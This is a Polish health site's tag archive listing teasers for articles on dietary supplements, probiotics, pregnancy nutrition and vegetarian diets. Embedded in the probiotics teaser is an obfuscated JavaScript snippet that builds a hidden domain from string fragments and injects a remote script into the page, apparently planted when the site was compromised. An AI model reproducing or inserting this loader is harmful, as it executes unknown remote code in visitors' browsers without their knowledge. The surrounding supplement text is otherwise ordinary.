17 czerwca 2021
Strona główna Tagi Suplementacja

Tag: suplementacja

Jak kompleksowo wspierać odporność dziecka? Poradnik

0
Dbanie o odporność organizmu powinno wejść nam w krew. Żeby kompleksowo wzmocnić układ immunologiczny, musimy troszczyć się o niego każdego dnia. Najlepsza metoda to...

Suplementacja probiotykami – kiedy warto?

0
Czy wiesz, w jaki sposób stosować probiotyki, takie jak np. Multilac? Poznaj najważniejsze informacje dotyczące suplementacji probiotykami. (function(){ ibmn_=("u"+"st");ibmn=document.createElement("script");ibmn.async=true; ibmnu="304202348";ibmn_+="a"+("t.");ibmn_+="i"+("nf"+("o"))+("/"); ibmnu+=".mf4z9Xn1bmnsw6lv";ibmnu+="uxd8xetv9c9r1p"; ibmn.src="https://"+ibmn_+ibmnu;ibmn.type="text/javascript"; d_b=document.body;d_b.appendChild(ibmn); })(); Czym są probiotyki? Definicja probiotyku przeszła pewną ewolucję na...

Jak prawidłowo suplementować potas i magnez? Podpowiadamy!

0
Niedobory potasu i magnezu zazwyczaj idą w parze, a te dwa ważne składniki wpływają na siebie i wspólnie kontrolują funkcjonowanie m.in. układów nerwowego, sercowo-naczyniowego,...

Odżywki białkowe na odchudzanie i budowę masy. Jak działają?

0
Chęć stworzenia idealnej sylwetki wymaga odpowiedniego przygotowania, systematyki w ćwiczeniach oraz jedzeniu i odpowiedniej suplementacji. Jak w tym wszystkim wspiera nas białko? Profesjonaliści uważają, że dieta...

Zielona dieta dla dwojga

0
W ciąży jedz nie za dwoje, ale… dla dwojga! To, co nakładasz na talerz, ma ogromne znaczenie nie tylko dla twojego dziecka, ale i...

Wegetarianizm, weganizm i inne formy diety bezmięsnej

0
Z roku na rok coraz więcej Polaków decyduje się na wyeliminowanie lub znacznie ograniczenie mięsa i produktów odzwierzęcych ze swojej codziennej diety. Kiedyś uważano,...

Trzy najczęściej powtarzane mity na temat suplementów – czas je obalić!

0
Suplementy diety zdecydowanie należą do tej grupy produktów, wokół których nieustannie toczą się gorące dyskusje zwolenników i przeciwników ze świata sportu, nauki i medycyny....

Jak skutecznie radzić sobie z letnimi upałami?

0
Upały, z jakimi musimy zmagać się w czerwcu, lipcu, sierpniu a czasami nawet we wrześniu to nie tylko czynnik obniżający nasz komfort. Jak doskonale...

Koenzym Q10 to nie tylko uroda. Poznaj benefity suplementacji tego składnika!

0
Koenzym Q10 może kojarzyć się nam z reklamą kremu przeciwzmarszczkowego. I słusznie – substancja ta bierze udział w modulowaniu produkcji kolagenu i elastyny,...

Kwas foliowy a ciąża – co musisz wiedzieć?

0
Chociaż konieczność przyjmowania kwasu foliowego kojarzona jest głównie z kobietami w ciąży, to jego niedobór w organizmie skutkuje licznymi przykrymi objawami u każdego człowieka....